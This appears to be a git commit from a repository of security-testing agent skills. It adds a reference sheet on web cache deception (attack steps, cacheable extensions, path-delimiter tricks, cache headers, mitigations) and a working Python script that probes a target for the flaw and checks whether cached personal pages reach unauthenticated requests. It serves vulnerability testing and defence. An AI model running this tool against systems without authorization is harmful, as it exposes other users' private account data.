Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
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mukul975
2026-03-11 00:22:12 +01:00
parent 27c6414ca5
commit c21af3347e
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MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
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# API Reference: Web Cache Deception Attack
## Attack Technique
| Step | Action | Description |
|------|--------|-------------|
| 1 | Identify authenticated endpoint | Find URL returning personalized content |
| 2 | Append static extension | `/account/nonexistent.css` |
| 3 | CDN caches response | Proxy treats as static file |
| 4 | Access cached URL unauthenticated | Receive victim's personalized data |
## Static Extensions to Test
| Extension | Type | Cache Likelihood |
|-----------|------|-----------------|
| `.css` | Stylesheet | Very High |
| `.js` | JavaScript | Very High |
| `.png`, `.jpg`, `.gif` | Image | High |
| `.woff`, `.woff2` | Font | High |
| `.pdf` | Document | Medium |
| `.ico` | Icon | Medium |
## Cache Detection Headers
| Header | Cached Indicators |
|--------|------------------|
| `X-Cache` | HIT |
| `CF-Cache-Status` | HIT (Cloudflare) |
| `X-Cache-Status` | HIT (Nginx proxy_cache) |
| `Age` | Non-zero value |
| `X-Varnish` | Two IDs = cache hit |
## Path Delimiter Confusion
| Delimiter | URL Example |
|-----------|-------------|
| `;` | `/account;test.css` |
| `%23` | `/account%23test.css` |
| `%3f` | `/account%3ftest.css` |
## Mitigation
| Control | Description |
|---------|-------------|
| `Cache-Control: no-store` | Prevent caching of authenticated pages |
| Validate file extension | Only cache actual static files |
| `Vary: Cookie` | Separate cache by session |
## Python Libraries
| Library | Version | Purpose |
|---------|---------|---------|
| `requests` | >=2.28 | HTTP requests with/without auth |
## References
- PortSwigger Web Cache Deception: https://portswigger.net/web-security/web-cache-deception
- Original Research (Omer Gil): https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
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#!/usr/bin/env python3
"""Agent for testing web cache deception vulnerabilities.
Appends static file extensions to authenticated URLs to test
whether CDN/proxy caches serve personalized content to other users.
"""
import requests
import json
import sys
from datetime import datetime
CACHE_EXTENSIONS = [".css", ".js", ".png", ".jpg", ".gif", ".ico",
".svg", ".woff", ".woff2", ".pdf", ".txt"]
CACHE_HEADERS = ["X-Cache", "X-Cache-Status", "CF-Cache-Status",
"Age", "X-Varnish", "X-Proxy-Cache", "X-CDN-Cache"]
class WebCacheDeceptionAgent:
"""Tests for web cache deception vulnerabilities."""
def __init__(self, target_url, auth_cookie=None, auth_header=None):
self.target_url = target_url.rstrip("/")
self.session = requests.Session()
if auth_cookie:
self.session.cookies.set(*auth_cookie.split("=", 1))
if auth_header:
self.session.headers["Authorization"] = auth_header
self.findings = []
def check_cache_headers(self, response):
"""Extract cache-related headers from response."""
cache_info = {}
for header in CACHE_HEADERS:
val = response.headers.get(header)
if val:
cache_info[header] = val
cache_info["Cache-Control"] = response.headers.get("Cache-Control", "")
return cache_info
def test_path_confusion(self, authenticated_path="/account"):
"""Test cache deception via path confusion with static extensions."""
url = f"{self.target_url}{authenticated_path}"
results = []
baseline = self.session.get(url, timeout=10, allow_redirects=False)
baseline_len = len(baseline.text)
baseline_has_pii = self._check_pii(baseline.text)
for ext in CACHE_EXTENSIONS:
test_url = f"{url}/nonexistent{ext}"
try:
resp = self.session.get(test_url, timeout=10, allow_redirects=False)
cache_info = self.check_cache_headers(resp)
cached = any(v.lower() in ("hit", "true", "1")
for v in cache_info.values() if isinstance(v, str))
content_match = abs(len(resp.text) - baseline_len) < 100
if content_match and resp.status_code == 200:
unauth = requests.get(test_url, timeout=10)
served_to_unauth = abs(len(unauth.text) - baseline_len) < 100
if served_to_unauth:
self.findings.append({
"type": "Web Cache Deception",
"severity": "Critical",
"url": test_url,
"extension": ext,
"cached_pii": baseline_has_pii,
})
results.append({
"extension": ext, "url": test_url,
"status": resp.status_code,
"content_match": content_match,
"cache_headers": cache_info,
"cached": cached,
})
except requests.RequestException:
continue
return results
def test_delimiter_confusion(self, authenticated_path="/account"):
"""Test path delimiter confusion (semicolon, hash, question mark)."""
delimiters = [";", "%23", "%3f", "%3b", "\r\n"]
results = []
for delim in delimiters:
for ext in [".css", ".js", ".png"]:
test_url = f"{self.target_url}{authenticated_path}{delim}test{ext}"
try:
resp = self.session.get(test_url, timeout=10)
cache_info = self.check_cache_headers(resp)
results.append({
"delimiter": delim, "extension": ext,
"status": resp.status_code,
"cache_headers": cache_info,
})
except requests.RequestException:
continue
return results
def _check_pii(self, text):
"""Check if response contains PII indicators."""
pii_indicators = ["email", "username", "name", "address", "phone",
"ssn", "credit", "account", "@"]
return any(indicator in text.lower() for indicator in pii_indicators)
def generate_report(self):
report = {
"target": self.target_url,
"report_date": datetime.utcnow().isoformat(),
"vulnerable": len(self.findings) > 0,
"findings_count": len(self.findings),
"findings": self.findings,
}
print(json.dumps(report, indent=2))
return report
def main():
url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
path = sys.argv[2] if len(sys.argv) > 2 else "/account"
cookie = sys.argv[3] if len(sys.argv) > 3 else None
agent = WebCacheDeceptionAgent(url, auth_cookie=cookie)
agent.test_path_confusion(path)
agent.test_delimiter_confusion(path)
agent.generate_report()
if __name__ == "__main__":
main()